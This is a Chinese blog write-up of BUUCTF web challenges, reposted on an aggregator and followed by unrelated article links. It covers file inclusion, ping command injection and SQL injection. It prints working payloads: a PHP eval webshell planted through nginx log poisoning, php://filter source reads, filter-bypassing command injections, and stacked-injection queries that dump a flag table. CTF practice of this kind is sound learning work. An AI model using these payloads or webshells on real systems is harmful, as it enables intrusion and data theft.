BUUCTF-WEB(4-8)

news/2024/11/17 12:41:02/文章来源:https://www.cnblogs.com/Muneyoshi/p/18199892

[ACTF2020 新生赛]Include

打开题目,是一个超链接,点击后,发现URL发生了变化

image-20240518194207544

可以看出是文件包含,包含了一个flag.php的文件

我们试着访问/etc/passwd

image-20240518194319886

我又试了试伪协议,显然是被过滤了

image-20240518194418916

然后我们就访问了一下nginx的日志,访问成功

?file=/var/log/nginx/access.log

那我们就是UA头写马吧

<?php @eval($_POST['cmd']);?>

image-20240518194742950

然后我们就用那个nginx日志的那个URL,然后连接密码为cmd,去用蚁剑连接一下

image-20240518194950622

连接成功后,在根目录找到flag,然后得出结论我是傻逼

image-20240518195823025

后来我又看了一下文件

image-20240518195938744

原来伪协议,还可以用,我们应该用伪协议去看那个flag.php的源码

就用php://filter

?file=php://filter/read=convert.base64-encode/resource=flag.php

就得到源码被base64加密后的数据,我们解密一下

image-20240518200254976

终于拿到flag了,我真要哭了

[ACTF2020 新生赛]Exec

这道题熟悉的ping,我们就复习一下命令连接符就行了

Windows和Linux都支持的命令连接符:cmd1 | cmd2 只执行cmd2cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2Linux还支持分号(;),cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2

那我们就无需多言,直接战斗

127.0.0.1 | whoami

image-20240518200607340

直接拿下flag

127.0.0.1 | cat /flag

image-20240518200703124

[GXYCTF2019]Ping Ping Ping

参考

命令执行漏洞各种绕过方式_命令执行漏洞 变种 绕过-CSDN博客

命令执行RCE及其绕过详细总结(各情景下的绕过)_rce反弹shell绕过-CSDN博客

这道题还是PING,只不过是GET方式传参

我直接满心欢喜准备拿下

?ip=127.0.0.1 | ls

他显然过滤了空格,气的暴骂我

image-20240518201007722

那我们就绕过空格,我就不用空格了

?ip=127.0.0.1|ls

image-20240518201431858

直接索要flag,这里我发现了哈,有一些符号他也过滤了,比如小数点,单引号,双引号,括号,大括号啥的

但是能用的就是

$ - ~ \ `

他直接大骂fxxk

因为反引号可以用,而且ls已经看到了flag.php

payload

?ip=127.0.0.1|cat$IFS`ls`

然后只能回显index.php的内容,不要怀疑自己,直接看源码

image-20240518204024451

[SUCTF 2019]EasySQL

参考

[BUUCTF:SUCTF 2019]EasySQL-CSDN博客

[buuctf-SUCTF 2019]EasySQL 1(小宇特详解)-CSDN博客

这个题目就是我挺云里雾里的(我太菜了),挺多字符都被过滤之后,看到分号,然后就是尝试堆叠注入

查库名

1; show databases;

image-20240518213734983

查表名

1;use ctf;show tables;

image-20240518213831595

查列名

1;show columns from Flag;

image-20240518213939742

然后发现查不到

然后大佬们说语句就长这样(我还是不太理解),可以看一下大佬们的分析

$sql = "select ".$post['query']."||flag from Flag";

然后payload就是

*,1

image-20240518214141932

[强网杯 2019]随便注

参考:

[强网杯 2019]随便注 - chalan630 - 博客园 (cnblogs.com)

我们先判断这个数字还是字符

?inject=1' and '1'='1 正常回显
?inject=1' and '1'='2 错误回显

判断出是字符注入,然后是单引号闭合

?inject=1' order by 2--+
?inject=1' order by 3--+

image-20240518215743829

判断出是两个字段

然后继续的时候,发现过滤了一些函数

image-20240518220853790

这边我试了一下,注释符绕不过去的,所以这里我想到了堆叠注入,就是上一题学的

查库名:

?inject=1';show database;#

image-20240518222325910

查表名

?inject=1';show tables;#

image-20240518222346385

查列名

?inject=1';show columns from words;#

image-20240518222722150

?inject=1%27;show%20columns%20from%20`1919810931114514`;#
注意数据表为数字的时候需要用反引号括起来

image-20240518222929043

flag在这个数字这个表

这道题到这里,我就完全不会了,一点儿都不知道怎么给flag这个查询出来

最后的flag的payload为:

-1';
sEt @sql=CONCAT('se','lect * from `1919810931114514`;');
prEpare stmt from @sql;
execute stmt;

image-20240518224909073

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/708484.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CentOS配置静态IP

CentOS配置静态IP1.查看虚拟机使用的网络连接方式2.查看虚拟机的网络连接方式IP3.1.CentOS6.8之前IP配置方法 打开系统输入setup,进入文本模式设置工具进入网络配置模式进入网络配置模式过后在进入设置配置,选项eth0网卡进入配置静态IP关闭DHCP,在静态IP,子网掩码和默认网关…

贝叶斯推断架构实现

本文用于记录贝叶斯框架原理和架构实现方案贝叶斯推断基础 贝叶斯方法提出了一个概率框架来描述如何将新的观察结果整合到决策过程中。传统的贝叶斯推断的二进制算术结构中,后验概率的计算需要大量的乘、除、加。 先验概率(由历史求因):根据以往经验和分析得到的概率,观测…

电子公文传输系统安全-进展一

上周任务完成情况每人撰写并提交一份读书笔记 小组撰写并提交一份加固计划书、一份安全性设计方案 小组撰写并提交一份系统安全设计报告 小组讨论原公文传输系统的问题不足和改进方向 小组讨论新公文传输系统的修改方案和预期效果 每人自行学习国密标准、算法知识和设计方法原公…

存储监控软件stor2rrd

stor2rrd Stor2rrd是一种开源软件工具,用于监视和报告性能存储系统,SAN开关, 和局域网开关. 它由捷克公司Xorux开发;该工具支持来自主要存储供应商的企业级存储设备;例如:IBM、Dell EMC、NetAPP、HPE、Hitachi、Lenovo、Pure Storage、Huawei、Dot Hill、INFINIDAT、Fuji…

AtCoder Beginner Contest 354

rating++A - Exponential Plant (abc354 A) 题目大意 某星球上的植物,初始高\(0\),然后每天依次增长 \(1,2,4,8,...\),问哪天就高过身高为\(h\)的高桥。 解题思路 因为是指数级别长高,枚举一下天数即可,由于\(h \leq 10^9\),因此天数不会超过 \(32\)天。神奇的代码 #incl…

鸿蒙HarmonyOS实战-Stage模型(开发卡片页面)

🚀一、开发卡片页面 HarmonyOS元服务卡片页面(Metaservice Card Page)是指在HarmonyOS系统中,用于展示元服务的页面界面。元服务是指一组提供特定功能或服务的组件,例如天气服务、音乐播放服务等。元服务卡片页面可以显示元服务的相关信息和操作选项,用户可以通过点击卡…

连接池设计与实现一——以Golang Http1.1为例

0. 前言 连接池是一个非常重要的开发思想,如http client会构建连接池复用底层TCP连接,使用database/sql的使用也会有连接池的配置。那么代码底层是如何实现连接池的呢?这篇文档将以Golang语言为基础,分析http1.1连接池底层实现 ★ 注意:我们仅仅关注连接池设计思想、以及关…

Spring 面向切面编程AOP 详细讲解

1. Spring 面向切面编程AOP 详细讲解 @目录1. Spring 面向切面编程AOP 详细讲解每博一文案2. AOP介绍说明2.1 AOP的七大术语2.2 AOP 当中的 切点表达式3. 使用Spring 对 AOP 的实现使用3.1 准备工作3.2 Spring 基于AspectJ的AOP注解式开发3.2.1 实现步骤3.2.2 各个通知类型的说…

vulnhub - NYX: 1

标准攻击链vulnhub - NYX: 1 描述 这是一个简单的盒子,非常基本的东西。 它是基于vmware的,我不知道它是否可以在VB上运行,如果你愿意的话可以测试一下。 /home/$user/user.txt 和 /root/root.txt 下有 2 个标志。 信息收集 NYX靶ip:192.168.157.159 nmap -sT -sV -sC -O -p…

Vue3学习之项目工程初步了解

1.介绍项目工程,如在vscode中下图

因更懂你而更热爱,智慧PC助力当代每一位“霞客”行

“大丈夫当朝碧海而暮苍梧”,从小就立志游历天下的徐霞客,自公元1613年5月19日这天开始了一生的披荆斩棘。三十年时间素履而往,所有足迹凝练出了一本《徐霞客游记》,在地理学、地质学、文学、历史学中都占有重要一席。因热爱而出发,如果他生在当下,一定是中国最大的旅游博…

Pyqt6PySide6 事件与事件的处理函数

什么是事件? 事件是程序收到外界的输入,处于某种状态时自动发送的信号。事件有固定的类型,每种类型有自己的处理函数,用户只要重写这些函数,即可达到特定的目的。通过事件可以用一个控件监测另外一个控件,并可过滤被监测控件发出的事件。 事件的类型与处理函数 事件的概念…